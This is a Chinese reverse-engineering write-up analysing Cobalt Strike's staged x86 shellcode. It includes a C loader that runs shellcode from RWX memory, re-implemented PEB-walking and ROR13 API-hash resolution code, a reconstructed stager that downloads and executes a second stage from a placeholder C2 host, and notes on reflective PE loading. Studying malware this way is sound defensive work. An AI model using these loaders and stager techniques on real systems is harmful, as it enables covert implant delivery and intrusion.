细谈CS分离式shellcode的加载之旅
2022-9-2 17:30:38 Author: mp.weixin.qq.com(查看原文) 阅读量:29 收藏

本文转载自平台:先知社区

原文链接:https://xz.aliyun.com/t/11508

作者:维生素泡腾片
本文是炒冷饭系列,纯是自己入坑逆向不长时间,为了满足好奇心的心血来潮之作,如是入不了一些高手师傅的法眼,还请多指教。(^__^) 嘻嘻……

准备工作

为了更好的分析,做最简单,最方便的准备工作。
首先,用裸ip直接生成一个cs的shellcode,用的是分离式的
然后生成的是x86的,也就是32位的c语言的shellcode。

生成代码其实就是一个大小千字节左右的,无符号字符数组,把这段16进制数放到010editor(一个常用的编辑工具)里查看,除了执行代码外,还有一部分写死的数据,比如User-Agent,IP或域名等。
就把这段代码加载到内存去执行,来进一步分析,加载的代码如下:
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\...(省略)";
void start(){ printf("begin...."); //分配内存,可读可写可执行 char*start = (char*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(start, buf, sizeof(buf)); __asm { mov eax, start call eax }}
我是用vs进行编译生成的,为了方便做一些修改,关掉随机基址
如果运行环境(虚拟机)和编译环境(物理机)不同,可以把运行库改成MTD,省的运行时候缺少模块报错,然后生成即可

1.第一阶段

因为类似文章不少,所以我不卖关子,分离式shellcode第一阶段的主要任务是从远端再次加载一段shellcode,然后加载进入内存进行执行,所以我们来看他是如何获取与加载的。

1.1功能函数

把生成的exe文件放到X64dbg中来调试(32位的),进入之后先跳了两次,获取了一下当前EIP位置
//利用这种方式保存下一条语句的地址,即EIP,而这个位置很关键call xxx其他语句pop ebp
然后跳到的位置是一段连续的,非常有规律的代码段,可以大胆推测,这是在调用一个统一的函数,而传入的参数的特点是,第一个参数(入栈顺序和参数顺序相反)是一串4个字节大小的16进制数,其他参数各有不同。
而这第一个参数应该就是传说中的特征码

我们来跟进看一下这个所谓的“函数”做了什么,首先刚刚传入的参数中,除了特征码外,还有一个字符数组,其ascii值对应的字符刚好就是‘wininet’,想必是要加载这个模块吧,那我们就带着这个问号,来看后面的执行过程

1.1.1获取模块基址

第一段:了解的师傅会很熟悉,在三环fs寄存器存放的一个叫做TEB的结构体,也就是线程环境块,结构如下:
这个结构体位于0x30的位置,保存了当前的PEB,也就是进程环境块,该结构体如下:
//0x1000 bytes (sizeof)struct _TEB{    struct _NT_TIB NtTib;                                                   //0x0    VOID* EnvironmentPointer;                                               //0x1c    struct _CLIENT_ID ClientId;                                             //0x20    VOID* ActiveRpcHandle;                                                  //0x28    VOID* ThreadLocalStoragePointer;                                        //0x2c    //目标位置    struct _PEB* ProcessEnvironmentBlock;                                   //0x30    ULONG LastErrorValue;                                                   //0x34    ULONG CountOfOwnedCriticalSections;                                     //0x38    VOID* CsrClientThread;                                                  //0x3c
//...(省略)
VOID* ResourceRetValue; //0xfe0 VOID* ReservedForWdf; //0xfe4 ULONGLONG ReservedForCrt; //0xfe8 struct _GUID EffectiveContainerId; //0xff0};
PEB结构如下:而这个结构中位于0xc的部分有一个_PEB_LDR_DATA类型的结构体指针,这里存储着描述进程结构链表的数据
//0x480 bytes (sizeof)struct _PEB{    UCHAR InheritedAddressSpace;                                            //0x0    UCHAR ReadImageFileExecOptions;                                         //0x1    UCHAR BeingDebugged;                                                    //0x2    union    {        UCHAR BitField;                                                     //0x3        struct        {            UCHAR ImageUsesLargePages:1;                                    //0x3            UCHAR IsProtectedProcess:1;                                     //0x3            UCHAR IsImageDynamicallyRelocated:1;                            //0x3            UCHAR SkipPatchingUser32Forwarders:1;                           //0x3            UCHAR IsPackagedProcess:1;                                      //0x3            UCHAR IsAppContainer:1;                                         //0x3            UCHAR IsProtectedProcessLight:1;                                //0x3            UCHAR IsLongPathAwareProcess:1;                                 //0x3        };    };    VOID* Mutant;                                                           //0x4    VOID* ImageBaseAddress;                                                 //0x8    //目标位置    struct _PEB_LDR_DATA* Ldr;                                              //0xc    struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;                 //0x10
//...(省略)
ULONG NtGlobalFlag2; //0x478};
_PEB_LDR_DATA结构体如下:
在这个结构体中,位于0xc,0x14,0x1c三处,有三个LIST_ENTRY类型的结构体,这三个结构体是一回事,都是保存着模块基址的链表,只不过是以不同顺序排列的链表,加载顺序,内存中的顺序,初始化模块的顺序
//0x30 bytes (sizeof)struct _PEB_LDR_DATA{    ULONG Length;                                                           //0x0    UCHAR Initialized;                                                      //0x4    VOID* SsHandle;                                                         //0x8    struct _LIST_ENTRY InLoadOrderModuleList;                               //0xc    //目标位置    struct _LIST_ENTRY InMemoryOrderModuleList;                             //0x14    struct _LIST_ENTRY InInitializationOrderModuleList;                     //0x1c    VOID* EntryInProgress;                                                  //0x24    UCHAR ShutdownInProgress;                                               //0x28    VOID* ShutdownThreadId;                                                 //0x2c};

LIST_ENTRY这个结构很有意思,里面只有两个元素,分别是下一个LIST_ENTRY和上一个LIST_ENTRY的地址

struct _LIST_ENTRY{    struct _LIST_ENTRY* Flink;                                              //0x0    struct _LIST_ENTRY* Blink;                                              //0x4};
实际的结构会如图所示:存在于不同的结构体中,通过偏移的方式访问链表所挂结构体的不同位置
而在_PEB_LDR_DATA结构体中的LIST_ENTRY中的地址,所指向的结构体是_LDR_DATA_TABLE_ENTRY
结构如下:
struct _LDR_DATA_TABLE_ENTRY{    struct _LIST_ENTRY InLoadOrderLinks;                                    //0x0    struct _LIST_ENTRY InMemoryOrderLinks;                                  //0x8    struct _LIST_ENTRY InInitializationOrderLinks;                          //0x10    VOID* DllBase;                                                          //0x18    VOID* EntryPoint;                                                       //0x1c    ULONG SizeOfImage;                                                      //0x20    struct _UNICODE_STRING FullDllName;                                     //0x24    //目标位置    struct _UNICODE_STRING BaseDllName;                                     //0x2c
//...(省略)
ULONG ReferenceCount; //0x9c ULONG DependentLoadFlags; //0xa0 UCHAR SigningLevel; //0xa4};
从上面的结构可以看出:
_PEB_LDR_DATA里的_LIST_ENTRY里的首个元素FLINK,指向_LDR_DATA_TABLE_ENTRY里的_LIST_ENTRY的首地址,shellcode里使用的是InMemoryOrderModuleList,所以在_LDR_DATA_TABLE_ENTRY中位于首地址的0x8处
有点类似下图的样子:
_LDR_DATA_TABLE_ENTRY这个结构体中,第0x24的位置是一个_UNICODE_STRING类型的结构体,从定义的变量名BaseDllName也能看出来,报错的是模块的名,这个结构体如下:
//0x8 bytes (sizeof)struct _UNICODE_STRING{    USHORT Length;                                                          //0x0    //最大长度,描述的是下面的Buffer的按照对齐的最大长度,两个字节大小的数值    USHORT MaximumLength;                                                   //0x2    WCHAR* Buffer;                                                          //0x4};
这时再回到shellcode的反汇编代码,就可以知道:
mov ebp,espxor edx,edxmov edx,dword ptr fs:[edx+30]mov edx,dword ptr ds:[edx+C]
//获取描述第一个模块的_LDR_DATA_TABLE_ENTRY其中的0x8位置mov edx,dword ptr ds:[edx+14]
//获取该模块BaseDllName的buffer,即模块名mov esi,dword ptr ds:[edx+28]
//获取该模块名的最大长度movzx ecx,word ptr ds:[edx+26]xor edi,edixor eax,eax

1.1.2计算哈希

如下图可以看到,第一个模块是exe文件本身
接下来一段代码,就十分有趣了,是计算哈希值的算法,也是比较传统的方式
大概意思是,依次从文件名的字符数组中读取一个字符,大于0x61就减0x20(相当于小写变大写),然后累加,累加前要把上次的求和循环右移0xD位
具体代码体现就是如下:
DWORD GetModuleHash(PWCHAR str,DWORD strlen){    DWORD result = 0;    char * temp = (PCHAR)str;    for (int i = 0; i < strlen; i++)    {        //循环右移        result = ((result >> 0xD) | (result << (0x20 - 0xD)));        if (temp[i] >= 0x61)        {            temp[i] -= 0x20;        }        result += temp[i];    }    //printf("%x", result);    return result;}

1.1.3判断导出表

接下来的一段,了解PE文件结构的时候,定然一眼看穿,我们已经大概感知到了,找到模块不是目的,找到模块里的函数地址才应该是最终目的。所以首先要判断的是有没有导出表

从上文的汇编代码中已经直到,edx寄存器,保存了_LDR_DATA_TABLE_ENTRY其中的0x8位置,其中0x18是DllBase,也就是模块基址。
模块的0x30位置是PE文件NT头距离DOS头的偏移,距离NT头0x78的位置是可选PE头的数据目录(是一个数组),其中第一个数组的第一个位置是导出表的RVA(也就是距离模块基址的偏移地址),如果为0,那就是没有导出表
因为我们启动的exe没有导出任何函数,所以这部分为空,我们打断点,跑到下一模块

1.1.4遍历导出表,计算函数哈希

下一个模块就是ntdll.dll,然后进行的内容就是,遍历导出表,计算函数名的哈希
通过上文找到的偏移地址(RVA)加上模块基址,指向的地址就是下面这样一个结构体,这个结构体是关于导出表的一个描述符,里面最后五个成员尤为重要
typedef struct _IMAGE_EXPORT_DIRECTORY {    DWORD   Characteristics;    DWORD   TimeDateStamp;    WORD    MajorVersion;    WORD    MinorVersion;    DWORD   Name;    DWORD   Base;    DWORD   NumberOfFunctions;//函数地址导出的函数数量    DWORD   NumberOfNames;//函数姓名导出的函数数量    DWORD   AddressOfFunctions;     // RVA 导出函数地址表    DWORD   AddressOfNames;         // RVA 导出函数名称表    DWORD   AddressOfNameOrdinals;  // RVA 导出函数序号表} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
其中,AddressOfFunctions指向的是一个数组,每个元素是4个字节,保存的是函数的地址偏移(RVA)
AddressOfNames指向的是一个数组,每个元素4个字节,保存的是函数名称的地址偏移(RVA)
AddressOfNameOrdinals指向的是一个数组,每个元素2个字节,数组下标的顺序AddressOfNames数组的顺序,对应的值(序号)是在AddressOfFunctions中的下标,也就是通过名称找到名称表中的下标,然后在序号表找到对应的序号,通过序号在地址表找到地址
具体情况如图所示:
不过正常的顺序是找到名字,先计算哈希,然后进行判断,如果判断符合再去找到对应地址表中函数的地址
哈希的计算方式跟模块计算相差不多,除了不做大小写变形外,就是函数名和模块名的区别,函数名是CHAR,而模块名是WCHAR,所以计算函数名的时候,不存储字符长度,只判断字符串是否到了结尾(最后一位为0)
函数名哈希的计算代码如下:
DWORD GetFuncHash(PCHAR str){    DWORD result = 0;    char * strTemp = str;    for (int i = 0; i <= strlen(str); i++)    {        result = (result >> 0xD) | (result << (0x20 - 0xD));        result += strTemp[i];    }    return result;}

1.1.5判断哈希,获取函数地址并调用

下面要做的事情,就是判断哈希值是否正确,然后获取第一个函数
如何判断:如图所示,把模块的哈希值和函数的哈希值求和,然后与传入的那个哈希值比较,相等就是找到了对应的函数。
确定为要找的函数,然后通过上文的方式找到对应的函数地址
找到之后就如图所示,调用这个函数,注意画箭头的地址,push进栈的就是调用函数返回的位置,可以记住它,这个位置其实就是调用功能函数后面要执行的代码,也就是调用本函数后返回的位置
(所以这个调用并没有用call,而是用push 地址,jmp 函数地址 的方式)
至此该功能函数的执行过程大概有了一个了解,代码类似如下(其他部分在上文):
DWORD GetFuncAddr(DWORD moduleBase, DWORD modulehash,DWORD targetHash){    DWORD funcAddr = 0;    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)moduleBase;    PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + moduleBase);    PIMAGE_OPTIONAL_HEADER pOptionHeader = &pNtHeader->OptionalHeader;    //获取导出表描述符的地址,并判断是否有导出表    DWORD pExportRva = pOptionHeader->DataDirectory[0].VirtualAddress;    if (pOptionHeader->DataDirectory[0].VirtualAddress == 0)    {        return funcAddr;    }    PIMAGE_EXPORT_DIRECTORY pExportTableVa = PIMAGE_EXPORT_DIRECTORY        (pOptionHeader->DataDirectory[0].VirtualAddress + moduleBase);    //获取三张导出表    DWORD * nameTable = (DWORD*)(pExportTableVa->AddressOfNames + moduleBase);    DWORD * funcTable = (DWORD*)(pExportTableVa->AddressOfFunctions + moduleBase);    WORD * orderTable = (WORD*)(pExportTableVa->AddressOfNameOrdinals + moduleBase);
//遍历姓名表,计算哈希,判断是否为目标函数 for (int i = 0; i < pExportTableVa->NumberOfNames; i++) { DWORD tempHash = GetFuncHash((PCHAR)(nameTable[i] + moduleBase)); if (tempHash + modulehash == targetHash) { funcAddr = funcTable[orderTable[i]] + moduleBase; break; } } return funcAddr;}
/**通过hash,获取对应函数的地址*/DWORD GetAddrByHash(DWORD hashCode){ DWORD target = 0; PLIST_ENTRY mmModuleListFirst = NULL; //获取链表 __asm { mov eax, dword ptr fs : [0] mov eax, [eax + 0x30] mov eax, [eax + 0xc] mov eax, [eax + 0x14] mov mmModuleListFirst, eax }
if (mmModuleListFirst == NULL) { printf("链表获取失败\n"); return target; }

PLIST_ENTRY mmModuleListNext = mmModuleListFirst->Flink; //遍历链表 while (mmModuleListNext != mmModuleListFirst) { PLDR_DATA_TABLE_ENTRY pldrTableEntry = (PLDR_DATA_TABLE_ENTRY)((DWORD)mmModuleListNext - 0x8); char * buff = (char *)malloc(pldrTableEntry->BaseDllName.MaximumLength); memcpy(buff, pldrTableEntry->BaseDllName.Buffer, pldrTableEntry->BaseDllName.MaximumLength); //计算模块名的哈希 DWORD moduleHash = GetModuleHash((PWCHAR)buff, pldrTableEntry->BaseDllName.MaximumLength);
//计算函数名的哈希,具体函数在上面 target = GetFuncAddr((DWORD)pldrTableEntry->DllBase, moduleHash, hashCode); if (target != 0) { break; } mmModuleListNext = mmModuleListNext->Flink; }
return target;}

1.2调用顺序

了解了这个功能函数,后面的事情似乎会变得更加顺利,因为后面的事情无非就是
参数 + 特征码 --> 功能函数 --> 获取目标函数 -->调用执行
第一次调用
push 0x74656Epush 0x696E6977push esppush 0x726774Ccall ebp
//执行函数HMODULE hWinnet = LoadLibraryA("wininet");

第二次调用

push edi    //edi都为0push edipush edipush edipush edipush 0xA779563Acall ebp
//eax=<wininet.InternetOpenA>//执行函数HINTERNET hInternet = InternetOpenA(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
获取到一个HINTERNET类型的句柄
第三次调用
push ecx  //ecx == 0push ecxpush 0x3    //服务类型,httppush ecxpush ecxpush 0x7561 //端口 16进制push ebx    //ebx == 请求连接的域名或ip字符串push eax    //eax == 上次调用获取的句柄(第一个参数)push C69F8957call ebp
//eax=<wininet.InternetConnectA>//执行函数hInternet = InternetConnectA(hInternet, "x.x.x.x", 30048, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
建立一个internet链接
第四次调用
push edx    //edx == 0push 0x84400200push edxpush edxpush edxpush ebx    //域名后跟的要访问的文件名push edx    push eax    //上次调用返回的句柄push 3B2E55EBcall ebp
//eax=<wininet.HttpOpenRequestA>//执行函数hInternet = HttpOpenRequestA(hInternet, NULL, "/rAED", NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, NULL);
第五次调用
push edi    //edi == 0push edipush 0xFFFFFFFF     //请求头长度,-1就当成ascii字符串到\0结束push ebx    //User-Agent,请求头信息等push esi    //上次调用返回的句柄push 0x7B18062Dcall ebp
//eax=<wininet.HttpSendRequestA>//执行函数CHAR header[] = "User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0)\n\r";HttpSendRequestA(hInternet, header, -1, NULL, 0);

这次调用发送了http请求

第六次调用

push 0x315E2145call ebp
//eax=<user32.GetDesktopWindow>//执行函数HWND hWnd = GetDesktopWindow();
第七次调用
push edipush 0x7push ecxpush esipush eaxpush 0xBE057B7call ebp
//eax=<wininet.InternetErrorDlg>//执行函数InternetErrorDlg(hWnd, hInternet, xxx, 0x7, NULL);
会判断是否返回ERROR_INTERNET_FORCE_RETRY,0x2F00,没有问题继续调用
第八次调用
push 0x40push 0x1000push 0x400000   //分配一整个物理页,小页4kbpush edi    //edi == 0push E553A458call ebp
//eax=<kernel32.VirtualAlloc>//函数执行LPVOID target = VirtualAlloc(0,0x400000,MEM_COMMIT,PAGE_EXECUTE_READWRITE)
这次调用开始就进入关键步骤了,看到了老演员,开始分配内存,那可以推断出后面就是写内容到内存进而进一步执行。
第九次调用
push ecx    //保存环境push ebx    mov edi,esp
//函数开始位置push edi //push 2000push ebxpush esipush E2899612call ebp
//eax=<wininet.InternetReadFile>
循环读取internet请求的内容到分配的内存中,直到读取不到为止,edi指向的地址就是每次读取的到字节数代码表示类似于如下情况:
LPVOID target = VirtualAlloc(0, 0x400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD realRead = 0;BOOL bRes = 0;do{ bRes = InternetReadFile(hInternet, target, 0x2000, &realRead); if (bRes == FALSE) { break; } target = (LPVOID)((DWORD)target+0x2000);
} while (realRead != 0);
最后通过retn调回到栈顶的地址,也就是新加载到内存中的shellcode的首地址,至此第一阶段结束。

2.第二阶段

第二阶段主要就是执行从远程加载到内存的shellcode,会有一些解密处理,还有一些跟第一阶段相似的内容,我们来看一看吧

2.1动态解密

为了方便,我们利用x64dbg把第一阶段加载到内存的shellcode,dump到本地文件(具体方法,下一段dump有写),然后重新开一个程序,以读取文件到内存的方式进行加载执行
以如下代码作为开始:
void start2nd(){    HANDLE hfile = CreateFileA("1.mem", FILE_ALL_ACCESS, 0, NULL,         OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);    LPVOID buffer = VirtualAlloc(NULL, 0x4000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);    DWORD realRead = 0;    ReadFile(hfile, buffer, 0x4000000,&realRead, NULL);    ((void(*)())buffer)();}
首先经过一段反复横跳,获取开始执行解密代码的EIP,然后就进入了如图所示的解密部分。
其中ESI寄存器,存储的是首次位置,也就是图中标着“钥匙”的位置
然后用“钥匙”跟第二个DWORD(4个字节)求异或得到了解密长度,存放在了edx寄存器中
然后便开始从第三个DWORD开始解密
解密方式:
新数据 = 旧钥匙 ^ 旧数据
新钥匙 = 新数据 ^ 旧钥匙
等价于:
新数据 = 旧钥匙 ^ 旧数据
新钥匙 = 旧数据
代码类似如下:

2.2定位PE

经过解密之后,又反复跳了几次,应该都是为了获取一些定位位置,然后经过了这样一段,老实说我当时也没搞清楚这段是在干嘛(用来检查堆栈?还是定义临时变量,数组等等)
经过这段,进入了一个函数中,这个函数就是用来定位PE文件的,大家会想定位什么PE?,其实,在这段内存中藏了一个PE文件,解密之后,就已经原形毕露了。所以,需要通过这个函数找到对应的PE文件的头部
大致的结构是,从某个最后的位置开始一个字节一个字节的向后,依次判断几个关键点,具体看下文:
void decode(DWORD*start){    DWORD *begin = start;    DWORD key = begin[0];    DWORD len = begin[1] ^ begin[0];    begin = begin + 2;    for (int i = 0; i < len; i++)    {        DWORD newKey = begin[i];        begin[i] = begin[i] ^ key;        key = newKey;    }}
代码可以类似如下:

2.3获取api

当找到了PE文件的位置,为了进一步处理,一定是需要一些系统API辅助,所以,就进入了下一个call,这个call传入了一个地址(就是一开始没理解的云里雾里的一段),这里我推测这是一个数组,是用来盛装找到的api地址

然后我们跟进去
如果经过了上一部分,到这部分应该反而很轻松,因为满眼都是老演员,这部分就是遍历模块

如果看的眼花缭乱,那是因为多了很多局部变量,给他去掉再来看:

mov eax,dword ptr fs:[30]mov eax,dword ptr ds:[eax+C]mov eax,dword ptr ds:[eax+14]cmp eax,0
获得了_PEB_LDR_DATA结构体
//获取_PEB_LDR_DATA02477F79  | 8B55 EC           | mov edx,dword ptr ss:[ebp-14]      |    //获取_LDR_DATA_TABLE_ENTRY中的BaseDllName的buffer02477F7C  | 8B42 28           | mov eax,dword ptr ds:[edx+28]      | 02477F7F  | 8945 DC           | mov dword ptr ss:[ebp-24],eax      |    //获取_LDR_DATA_TABLE_ENTRY中的BaseDllName的length02477F82  | 8B4D EC           | mov ecx,dword ptr ss:[ebp-14]      |02477F85  | 66:8B51 24        | mov dx,word ptr ds:[ecx+24]        |02477F89  | 66:8955 D8        | mov word ptr ss:[ebp-28],dx        |    //至此:模块名称的地址--> [ebp-24] 名称长度--> [ebp-28]
//下面跟之前计算模块名称哈希的方式一样,循环右移,求和02477F8D | C745 FC 00000000 | mov dword ptr ss:[ebp-4],0 |02477F94 | 8B45 FC | mov eax,dword ptr ss:[ebp-4] | //[ebp-4] --> 存放累加的和 先循环右移02477F97 | C1C8 0D | ror eax,D | 02477F9A | 8945 FC | mov dword ptr ss:[ebp-4],eax | //取模块名称的一个一个字母02477F9D | 8B4D DC | mov ecx,dword ptr ss:[ebp-24] |02477FA0 | 0FB611 | movzx edx,byte ptr ds:[ecx] | //不小于61,减0x20,然后累加到[ebp-4]02477FA3 | 83FA 61 | cmp edx,61 | 02477FA6 | 7C 12 | jl 2477FBA |02477FA8 | 8B45 DC | mov eax,dword ptr ss:[ebp-24] |02477FAB | 0FB608 | movzx ecx,byte ptr ds:[eax] | 02477FAE | 8B55 FC | mov edx,dword ptr ss:[ebp-4] | //这里注意,都是用lea指令累加02477FB1 | 8D440A E0 | lea eax,dword ptr ds:[edx+ecx-20] | 02477FB5 | 8945 FC | mov dword ptr ss:[ebp-4],eax |02477FB8 | EB 0C | jmp 2477FC6 | //小于0x61,直接累加到[ebp-4]02477FBA | 8B4D DC | mov ecx,dword ptr ss:[ebp-24] |02477FBD | 0FB611 | movzx edx,byte ptr ds:[ecx] |02477FC0 | 0355 FC | add edx,dword ptr ss:[ebp-4] |02477FC3 | 8955 FC | mov dword ptr ss:[ebp-4],edx | //名称地址+102477FC6 | 8B45 DC | mov eax,dword ptr ss:[ebp-24] |02477FC9 | 83C0 01 | add eax,1 | 02477FCC | 8945 DC | mov dword ptr ss:[ebp-24],eax | //名称长度-102477FCF | 66:8B4D D8 | mov cx,word ptr ss:[ebp-28] |02477FD3 | 66:83E9 01 | sub cx,1 |02477FD7 | 66:894D D8 | mov word ptr ss:[ebp-28],cx | //判断长度是否为002477FDB | 0FB755 D8 | movzx edx,word ptr ss:[ebp-28] |02477FDF | 85D2 | test edx,edx |02477FE1 | 75 B1 | jne 2477F94 | //跟模块hash比较02477FE3 | 817D FC 5BBC4A6A | cmp dword ptr ss:[ebp-4],6A4ABC5B |

通过以上内容可知,只需要一个模块的哈希,这个hash对应的模块名是Kernel32.dll
为了获取api地址,下一步一定就是开始遍历模块导出表了

//获取模块基址 Dllbase --> [ebp-18]02477FFB  | 8B55 EC           | mov edx,dword ptr ss:[ebp-14]      |02477FFE  | 8B42 10           | mov eax,dword ptr ds:[edx+10]      |02478001  | 8945 E8           | mov dword ptr ss:[ebp-18],eax      |     //获取导出表地址RVA --> [ebp-c]02478004  | 8B4D E8           | mov ecx,dword ptr ss:[ebp-18]      | 02478007  | 8B55 E8           | mov edx,dword ptr ss:[ebp-18]      | 0247800A  | 0351 3C           | add edx,dword ptr ds:[ecx+3C]      |0247800D  | 8955 E0           | mov dword ptr ss:[ebp-20],edx      | 02478010  | 8B45 E0           | mov eax,dword ptr ss:[ebp-20]      | 02478013  | 83C0 78           | add eax,78                         |02478016  | 8945 F4           | mov dword ptr ss:[ebp-C],eax       |    //获取导出表的描述符VA --> [ebp-20]02478019  | 8B4D F4           | mov ecx,dword ptr ss:[ebp-C]       |0247801C  | 8B55 E8           | mov edx,dword ptr ss:[ebp-18]      | 0247801F  | 0311              | add edx,dword ptr ds:[ecx]         |02478021  | 8955 E0           | mov dword ptr ss:[ebp-20],edx      |     //获取导出名称表VA --> [ebp-c]02478024  | 8B45 E0           | mov eax,dword ptr ss:[ebp-20]      | 02478027  | 8B4D E8           | mov ecx,dword ptr ss:[ebp-18]      | 0247802A  | 0348 20           | add ecx,dword ptr ds:[eax+20]      |0247802D  | 894D F4           | mov dword ptr ss:[ebp-C],ecx       |    //获取导出序号表VA --> [ebp-1c]02478030  | 8B55 E0           | mov edx,dword ptr ss:[ebp-20]      | 02478033  | 8B45 E8           | mov eax,dword ptr ss:[ebp-18]      | 02478036  | 0342 24           | add eax,dword ptr ds:[edx+24]      |02478039  | 8945 E4           | mov dword ptr ss:[ebp-1C],eax      |
//设定结束标志,可见有6个api需要找到-->[ebp-28]0247803C  | B9 06000000       | mov ecx,6                          |02478041  | 66:894D D8        | mov word ptr ss:[ebp-28],cx        |02478045  | 0FB755 D8         | movzx edx,word ptr ss:[ebp-28]     |02478049  | 85D2              | test edx,edx                       |0247804B  | 0F8E 4B010000     | jle 247819C                        |    //取出函数名称的地址 -->[ebp-38]02478051  | 8B45 F4           | mov eax,dword ptr ss:[ebp-C]       |02478054  | 8B4D E8           | mov ecx,dword ptr ss:[ebp-18]      |02478057  | 0308              | add ecx,dword ptr ds:[eax]         |02478059  | 894D C8           | mov dword ptr ss:[ebp-38],ecx      |    //设定累加的值--> [ebp-34] 循环右移0xd0247805C  | C745 CC 00000000  | mov dword ptr ss:[ebp-34],0        |02478063  | 8B55 CC           | mov edx,dword ptr ss:[ebp-34]      |02478066  | C1CA 0D           | ror edx,D                          |02478069  | 8955 CC           | mov dword ptr ss:[ebp-34],edx      |    //取函数名称的一个字符累加0247806C  | 8B45 C8           | mov eax,dword ptr ss:[ebp-38]      |0247806F  | 0FBE08            | movsx ecx,byte ptr ds:[eax]        |02478072  | 034D CC           | add ecx,dword ptr ss:[ebp-34]      |02478075  | 894D CC           | mov dword ptr ss:[ebp-34],ecx      |    //函数名称的地址后移1个字节02478078  | 8B55 C8           | mov edx,dword ptr ss:[ebp-38]      |0247807B  | 83C2 01           | add edx,1                          |0247807E  | 8955 C8           | mov dword ptr ss:[ebp-38],edx      |    //判断后移后的字节是否为0,即字符串截止位置02478081  | 8B45 C8           | mov eax,dword ptr ss:[ebp-38]      |02478084  | 0FBE08            | movsx ecx,byte ptr ds:[eax]        |02478087  | 85C9              | test ecx,ecx                       |02478089  | 75 D8             | jne 2478063                        |
后面就是分别跟不同的特征码进行比较,由上文了解,共计六个函数,所以就有六个特征码进行比较,分别对应的函数如下:

2.4验证函数和分配内存

接下来就进入下一个call了,这个call传入了保存那六个api的其实地址。
然后依次,检查这几个位置是否是空的,也就是检查这几个函数的地址是否顺利得到
在进入下一个call前,做了一些准备工作,如图,获取pe文件的起始位置,以及NT头的位置
其中,这一步的目的是判断,文件头成员,文件属性的最高位是否为1
然后传入四个参数,进入call中
//参数1,0x4002497D71  | 8B4D D0           | mov ecx,dword ptr ss:[ebp-30]   |02497D74  | 51                | push ecx                        |    //参数2,pe文件基址02497D75  | 8B55 AC           | mov edx,dword ptr ss:[ebp-54]   |02497D78  | 52                | push edx                        |    //参数3,nt头02497D79  | 8B45 CC           | mov eax,dword ptr ss:[ebp-34]   | [ebp-34]:"PE"02497D7C  | 50                | push eax                        | eax:"PE"    //参数4,ecx=<&GetModuleHandleA>基址02497D7D  | 8D4D D4           | lea ecx,dword ptr ss:[ebp-2C]   |02497D80  | 51                | push ecx                        |02497D81  | E8 880A0000       | call 249880E                    |
进入call之后,经过了一些无关紧要的判断(其实重要,但是对于了解整体的执行脉络没意义)
第一次调用api,VirtualAlloc() 分配内存
//倒数第一个参数0x40023C88D1  | 52                | push edx                        |    //倒数第二个参数0x3000023C88D2  | 68 00300000       | push 3000                       |    //倒数第三个参数 0x3e000023C88D7  | 8B45 0C           | mov eax,dword ptr ss:[ebp+C]    | [ebp+C]:"PE"023C88DA  | 8B48 50           | mov ecx,dword ptr ds:[eax+50]   |023C88DD  | 51                | push ecx                        |    //倒数第四个参数 0023C88DE  | 6A 00             | push 0                          |023C88E0  | 8B55 08           | mov edx,dword ptr ss:[ebp+8]    |023C88E3  | 8B42 10           | mov eax,dword ptr ds:[edx+10]   | eax:"PE"023C88E6  | FFD0              | call eax                        |;
//代码类似于如下VirtualAlloc(NULL, 0x3e000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)

2.5清空内存,复制内存

然后返回,先做准备工作然后进入下一个call
准备工作就是清零,把al里的值放置到edi的位置,每次ecx递减,直至为0
然后传入四个参数分别是,0,dos头地址,nt头地址,以及新区域基址
进入call后,首先获取PE文件所有头部的大小 --> [ebp - 0x4]
重复复制esi指向的地址到edi指向的地址,一次一个字节,共计复制ecx个字节
也就是把原PE文件的头部,复制到目标内存中
判断PE文件的文件属性,第一位是否为1,也就是是否有重定位信息

2.6复制区段

如图所示,进入前,先传入了五个参数
然后就是找到第一个区段头的一些信息,区段头的首地址,区段的数量,以此推测,后面应该是复制区段
跟前面一样,是依次复制旧PE文件的区段,到新PE文件中去
注意,后面跟0x20000000求与运算,判断区段是否可执行,如果是可执行的区段,就把分别把新旧区段的地址保存到我们传入的两个地址中,然后依次复制.rdata,.data,.reloc区段的内容到新内存中

2.7修复文件

接下来进入的几个api,应该都跟修复这个pe文件有关系,因为原本封装的时候,肯定是直接以文件包在里面的,所以,要想直接加载到内存里,必须要做很多修复工作
首先进入下一个api,传入的参数如下:
刚刚进入这个函数,就在新内存区域的末尾,开辟了大约40个字节,一看就是要搞事情

2.7.1修复导入表

在可选PE头中,前文提过数据目录的第一个结构,导出表,而第二个结构就是导入表,导入表是一个数组套数组的结构,数据目录里保存着第一个
导入模块的描述符地址,结构体名称:
_IMAGE_IMPORT_DESCRIPTOR,获取到了模块名称
struct _IMAGE_IMPORT_DESCRIPTOR {    union {        DWORD   Characteristics;         DWORD   OriginalFirstThunk;             } DUMMYUNIONNAME;    DWORD   TimeDateStamp;     DWORD   ForwarderChain;             DWORD   Name;//导入模块名的RVA    DWORD   FirstThunk;              } IMAGE_IMPORT_DESCRIPTOR;
把导入模块描述符中的名字,依次复制到上文开辟的那段0x40的空间中,然后进入下一个call中
传入了三个参数,0x40,0,复制出来的模块名字符串的地址,进去之后啥也没敢,只是简单跳两下就回来了。应该是判断传入的最后一个参数是否为0
然后调用LoadLibraryA函数,加载模块
然后导入名称表或者导入地址表都会指向这个结构,_IMAGE_THUNK_DATA
因为是联合体,如果是在未加载内存的情况下,两个地址也就是OriginalFirstThunk和FirstThunk指向的都是相同的表(也就是连续的数组),里面存放的都是函数名称
如果加载到内存,
FirstThunk指向地址,称IAT表,OriginalFirstThunk指向名称,称INT
